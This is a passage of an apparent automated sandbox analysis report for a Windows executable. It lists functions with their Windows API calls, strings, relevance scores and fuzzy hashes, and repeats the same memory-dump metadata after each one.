Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction ID: e410bf6e65fb1a37cd773b6e246dea208f2095079fcbe5383879f84122037826
Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction Fuzzy Hash: 11413C62A2A65395FF20DF24DD401FD3764FF95788F940039DA4C93A99EF28D609D311

Function 00007FF62927DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629280730: GetClassNameW.USER32 ref: 00007FF62928075B

SendMessageW.USER32 ref: 00007FF62927DFE3
SendMessageW.USER32 ref: 00007FF62927E000
SendMessageW.USER32 ref: 00007FF62927E036

Strings

ListBox, xrefs: 00007FF62927DF9C
ComboBox, xrefs: 00007FF62927DF5F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
Instruction ID: e2737837dec19ebe9a784e03b24c07ae2131612ab58f76226b782e53c697f29e
Opcode Fuzzy Hash: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
Instruction Fuzzy Hash: E831DF22A2A64282FE20DF11EE415F97360FBC5B80F444631DA9D9B796CF3CE145D712

Function 00007FF6292B93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62921932C: CreateWindowExW.USER32 ref: 00007FF6292193BC
Part of subcall function 00007FF62921932C: GetStockObject.GDI32 ref: 00007FF6292193D9
Part of subcall function 00007FF62921932C: SendMessageW.USER32 ref: 00007FF6292193EC

SendMessageW.USER32 ref: 00007FF6292B94C1
LoadLibraryW.KERNEL32 ref: 00007FF6292B94CE
SendMessageW.USER32 ref: 00007FF6292B94EC
DestroyWindow.USER32 ref: 00007FF6292B94FA

Strings

SysAnimate32, xrefs: 00007FF6292B9460

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction ID: c858ddac5c646aa5b262072bfa2f5d79c216f53714ca83428cc3a76fa88470c4
Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction Fuzzy Hash: 50317E36A2A7C1CAEB609F24E954B6A33A0FB85784F504139DA5D87B94DF3CD484DB02

Function 00007FF629239164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF629239184
GetProcAddress.KERNEL32 ref: 00007FF62923919A
FreeLibrary.KERNEL32 ref: 00007FF6292391BF

Strings

CorExitProcess, xrefs: 00007FF629239193
mscoree.dll, xrefs: 00007FF62923917B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 84cec9f59ab5361b93e0b090d07f56ad48806092fb7a0dc9e500e9fff6a4c06a
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: ECF03C25A2AA4281FE449F25ED8467933A0EFC8790F891035E94F966A4DF3CD489E601

Function 00007FF6292589B4 Relevance: 7.8, APIs: 5, Instructions: 265COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction ID: 111982243a3a2b8af5539b611c971e6c721c8c152b84108a13f15feaf45c12ea
Opcode Fuzzy Hash: 03f3b3863cf3428f55316b0c9d809bb68f76fa44e49f8ab79cf537312fbddc30
Instruction Fuzzy Hash: 08A10662B2B78246FF289F609A003B976D1EF807A4F584635DA1D877C9DFBCE4449302

Function 00007FF62924ED08 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62924ED4D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction ID: 06acd0d69065146c511d2904f23bdb1effd12c463217fdf03ff77928abc6c365
Opcode Fuzzy Hash: f29f2ab1c13e66daf1f8c2b4a146e68bdfc50a5cc3b930cf9745f903616afb6d
Instruction Fuzzy Hash: 4F81BE22B3A61289FF209F259E406BE36A4BBC4B58F415135DE0E976D5CF3CE445EB02

Function 00007FF62924E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000010,-00000090,00007FF62924EEAF), ref: 00007FF62924E6D9
WideCharToMultiByte.KERNEL32 ref: 00007FF62924E7B5
WriteFile.KERNEL32 ref: 00007FF62924E7DB
WriteFile.KERNEL32 ref: 00007FF62924E81A
GetLastError.KERNEL32 ref: 00007FF62924E852

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction ID: e53b5854240ac115110189bc4c955eab63b79a6f56f5df32a3cbf24c5ee09f04
Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction Fuzzy Hash: 1B51E532A26A5189FB10CF25E9443AD3BB1FB84B98F049135CE4E87798DF38D145DB02

Function 00007FF62928670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF62928674B
VariantClear.OLEAUT32 ref: 00007FF6292867C5
VariantClear.OLEAUT32 ref: 00007FF629286826
VariantClear.OLEAUT32 ref: 00007FF6292868B4
VariantChangeType.OLEAUT32 ref: 00007FF6292868E5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction ID: 746813e9a870786bf87292f686358ab83dd9003b75169d6d2c231fbb83399f25
Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction Fuzzy Hash: F5515573626A8592EB10CF15D9947AD33B8FB84B84F428122CB4D83764EF39E599C742

Function 00007FF629252998 Relevance: 7.6, APIs: 5, Instructions: 133COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6292529E9

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction ID: 8059f96beb5eb9f2491cbcad11fd9ce63de98c1a9dc940e4482a53a8980ac81b
Opcode Fuzzy Hash: 69caafc8f8afcb53c87a7f7053d9646584506dbe7d8e8e6cfd9f4db44817ad77
Instruction Fuzzy Hash: C651C32262A78285FF689F219A4017977A5EFC0BA0F154335DA6D876D8DF3CE441E702

Function 00007FF6292996A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF629299785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF6292997BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF62929980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF629299836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF629299848

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
Instruction ID: 42d6938f8909f3fad5f2c4926185d8f75cc7562a876641b76d8d9f6c1fc75ec1
Opcode Fuzzy Hash: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
Instruction Fuzzy Hash: 30514A26A29A4682EB10DF26D9806AD7360FBC9F94F148432EF8E87766CF3DD440D741

Function 00007FF629211CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF629211D1B
ScreenToClient.USER32 ref: 00007FF629211D3A
GetAsyncKeyState.USER32 ref: 00007FF629211D62
GetAsyncKeyState.USER32 ref: 00007FF629211D82

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: 0ebd5f0c3765a094b8fb709117929c250a769e23831e668dbd1159ecab50861d
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: E2512332B2A6919BFB58DF31CA4056977A4FB86758F100231EA5A837D6CF38E4619702

Function 00007FF62924BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF62924BB4E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: a038692af76167197c7fc03fb336c4e1103342885e667bcdf727722bfc62a361
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 0E41B526B2FA4281FE158F06AE046797395BF88B90F095539DD5DCB398EF3CE400A702

Function 00007FF6292BFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6292BFFE7
EnableWindow.USER32 ref: 00007FF6292C0012
ShowWindow.USER32 ref: 00007FF6292C007C
ShowWindow.USER32 ref: 00007FF6292C0098
EnableWindow.USER32 ref: 00007FF6292C00C6

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 64e18e61737271eefdf233935ee461d5398e58ed9f75716d62c4dc38d885327d
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: 28514E3295BA8681FF518F19D99477837A0EBC4B84F2A4032CA4D877A0CF3DE445E712

Function 00007FF62927D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF62927D8F3), ref: 00007FF62927D952
PostMessageW.USER32 ref: 00007FF62927D9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF62927D8F3), ref: 00007FF62927D9FA
PostMessageW.USER32 ref: 00007FF62927DA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF62927D8F3), ref: 00007FF62927DA15

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction ID: a0cee6bff91f4b3521762650587b95600f279bcf0fe836dd88c20ed96a57f4fd
Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction Fuzzy Hash: E931D43661964586FB10CF29E9446B97391FB88BA8F410131EE5DDB7D4CF3CE8419701

Function 00007FF629281B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF629281B6A
SendMessageW.USER32 ref: 00007FF629281B93
SendMessageW.USER32 ref: 00007FF629281BD8
CharUpperBuffW.USER32 ref: 00007FF629281BFC
wcsstr.LIBVCRUNTIME ref: 00007FF629281C09

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction ID: 28e3d316a26191c38e81e105ac621e15914a1560dc58253abb6a3430a19e9860
Opcode Fuzzy Hash: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction Fuzzy Hash: 4D219122B2A79246FF189F22AE452A57694BBC9FE0F444530EE5D877D5DF3CE4409301

Function 00007FF6292A2E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6292A2E96
GetForegroundWindow.USER32 ref: 00007FF6292A2EAF
GetDC.USER32 ref: 00007FF6292A2EF2
GetPixel.GDI32 ref: 00007FF6292A2F03
ReleaseDC.USER32 ref: 00007FF6292A2F3B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction ID: 68d0357a3c5b6c1a6e594075e5ad2cfe0e775dcdd0a7e696a90c61d3ad5471b8
Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction Fuzzy Hash: F3219F22B2AA5182FB04DF26ED841ADB3A0FBC9F90B154035DE0DC7B96DF78D481A341

Function 00007FF629212370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF6292123FF
SelectObject.GDI32 ref: 00007FF629212412
BeginPath.GDI32 ref: 00007FF62921242B
SelectObject.GDI32 ref: 00007FF629212452

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: 6b6e2d7dcccf635a5c811597941cb973190f81516a127019ef907f08d4021eec
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: F031CC3292AB428AFB408F11AD843397BA0FBC5B90F501139E94D93795CF7DE455EB06

Function 00007FF629241F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629241F68
CreateThread.KERNEL32 ref: 00007FF629241FA9
GetLastError.KERNEL32 ref: 00007FF629241FB7
CloseHandle.KERNEL32 ref: 00007FF629241FD4
FreeLibrary.KERNEL32 ref: 00007FF629241FE3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: eee50263d682c244b2ff67f76ee74329551e70d01285ac72743743b266e9ec45
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: D7218025A1F78286FF14CF65EA1047972A4AFD4B80F095431EA4D93796DF3CE405AA02

Function 00007FF62924F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF62924F9FB
_set_statfp.LIBCMT ref: 00007FF62924FA16
_set_statfp.LIBCMT ref: 00007FF62924FA32
_set_statfp.LIBCMT ref: 00007FF62924FA6E

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

